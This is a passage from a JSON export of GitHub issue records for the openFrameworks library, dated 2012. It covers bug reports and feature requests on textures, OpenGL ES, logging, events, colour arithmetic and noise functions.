to be the next POTs up but the depth texture's dimensions don't seem to be. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","comments":2,"milestone":null,"number":1186,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","assignee":null,"title":"ofFbo depthBufferTex can be inconsistent with colour texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-18T15:08:32Z","state":"open","user":{"url":"https://api.github.com/users/neilmendoza","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","id":818571,"avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4174070,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:44:27Z","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"OpenGLES2 not working","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-16T11:19:36Z","state":"open","user":{"url":"https://api.github.com/users/erinnovations","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","login":"erinnovations","id":253455,"avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4132608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T13:45:55Z","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","comments":0,"milestone":null,"number":1175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","assignee":null,"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-14T13:45:42Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4117762,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:39:22Z","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1174,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1174","assignee":null,"title":"bug : inconsistent API for ofVec3f::dot and ofVec3f::cross","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T17:09:38Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4108582,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-14T04:20:36Z","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1173,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1173","assignee":null,"title":"ofToHex(string) is wrong for non-ascii input","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-13T14:42:30Z","state":"open","user":{"url":"https://api.github.com/users/pappis","gravatar_id":"fbf3d56c96cf5b891056530066549692","login":"pappis","id":1640543,"avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4104336,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-12T10:09:42Z","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","comments":0,"milestone":null,"number":1171,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","assignee":null,"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-04-12T10:09:42Z","state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","id":31100,"avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4081188,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-13T14:54:18Z","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","comments":2,"milestone":null,"number":1167,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1167","assignee":null,"title":"ofNotifyEvent( boolEvent, true ) fails to compile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-11T12:03:34Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063456,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-11T13:21:33Z","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","comments":2,"milestone":null,"number":1166,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1166","assignee":null,"title":"ofEvent lacks simple, argument-free use case","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T12:00:19Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063417,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-21T15:41:01Z","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","comments":6,"milestone":null,"number":1165,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","assignee":null,"title":"ofLogError, ofLogWarning lack format, ... args","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-11T11:56:33Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4063366,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-10T16:47:19Z","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","comments":4,"milestone":null,"number":1152,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","assignee":null,"title":"grabScreen in ofImage fails on Android","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-09T17:15:21Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4032047,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-29T14:46:40Z","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","comments":6,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1151,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1151","assignee":null,"title":"shorten + simplify ofLog output","labels":[],"closed_at":null,"created_at":"2012-04-08T21:13:14Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023525,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1151","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch"}},{"updated_at":"2012-04-17T14:47:36Z","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return \"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return \"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","comments":4,"milestone":null,"number":1150,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1150","assignee":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"propose shortening ofLog console message length","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-08T20:32:49Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4023305,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T15:00:32Z","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","comments":0,"milestone":null,"number":1146,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","assignee":null,"title":"Document Project Generator / clean out old tools","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2012-04-07T14:43:53Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4015514,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-07T19:49:31Z","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","comments":3,"milestone":null,"number":1145,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","assignee":null,"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-04-06T22:02:01Z","state":"open","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","id":555207,"avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4010494,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-01T04:21:01Z","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 50)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","comments":9,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1144,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","assignee":null,"title":"ofColor subtraction and negative values","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-04-06T07:56:44Z","state":"open","user":{"url":"https://api.github.com/users/jembezmamy","gravatar_id":"69a23dc9914cb6bc3202c50e15eabba0","login":"jembezmamy","id":720354,"avatar_url":"https://secure.gravatar.com/avatar/69a23dc9914cb6bc3202c50e15eabba0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":4001148,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-04T12:07:24Z","body":"When using the dragEvent ofDragInfo I always get the following error message:\r\n\r\nwarning: Could not find object file \"/Users/theo/Documents/CODE/__OPENFRAMEWORKS/gitOF/openFrameworks/apps/devApps/macDragDropExample/buildGlutFrameworkHackedWindowLevel10.4/libForeground.a(macx_foreground.o)\" - no debug information available for \"/Users/mcast/Code/GLUT-ToPost/macx_foreground.m\".\r\n\r\nIt doesn't seem to hurt my code but is a bit annoying, especially early on when I wasn't sure if it had anything to do with compile failings. Not a big issue obviously, but it might confuse some other newbie's also.\r\n\r\n(OF 0.07 - Xcode 4.2.1 - OS X 10.7.3 - macbook pro) ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1138","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"closed_issues":21,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1138,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1138","assignee":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"title":"benign error message","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"closed_at":null,"created_at":"2012-04-04T11:05:57Z","state":"open","user":{"url":"https://api.github.com/users/davideo71","gravatar_id":"42c3c1acbdb4a998d8096b49745219cd","login":"davideo71","id":1611385,"avatar_url":"https://secure.gravatar.com/avatar/42c3c1acbdb4a998d8096b49745219cd?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3968742,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-03T17:37:10Z","body":"theo's #1133 made me think about ways that i use noise regularly that might also be abstracted.\r\n\r\ni would also like to see versions of noise that return multidimensional results. normally i do something like:\r\n\r\n\tofVec2 a(ofSignedNoise(t, 0), ofSignedNoise(0, t)); // 1D -> 2D\r\n\tofVec2 b(ofSignedNoise(x, 0), ofSignedNoise(0, y)); // 2D -> 2D\r\n\tofVec3 c(ofSignedNoise(t, 0, 0), ofSignedNoise(0, t, 0), ofSignedNoise(0, 0, t)); // 1D -> 3D\r\n\tofVec3 d(ofSignedNoise(x, 0, 0), ofSignedNoise(0, y, 0), ofSignedNoise(0, 0, (x + y) / 2)); // 2D -> 3D\r\n\r\nand it would be good to spend some time making sure these are really good ways of doing it, then implement them inside some functions like `ofSignedNoise2()` and `ofSignedNoise3()` (for example).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1134","comments":2,"milestone":null,"number":1134,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1134","assignee":null,"title":"multidimensional noise output","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2012-04-01T16:44:55Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3917377,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-01T17:48:12Z","body":"ie: the equivalent of doing \r\n\r\nfloat rate = 0.02 + ofNoise(ofGetElapsedTimeF() * 0.02, 100.0) * 0.015;\r\nfloat value = ofSignedNoise( rate, x, y ); \r\n\r\nas one function. \r\n\r\nalso see kyle's #1134 for other noise utils. \r\n\r\nI find myself needing this quite often for more natural random motion where the rate of change is variable. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1133","comments":0,"milestone":null,"number":1133,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1133","assignee":null,"title":"ofNoise and ofSignedNoise with 2nd order control for 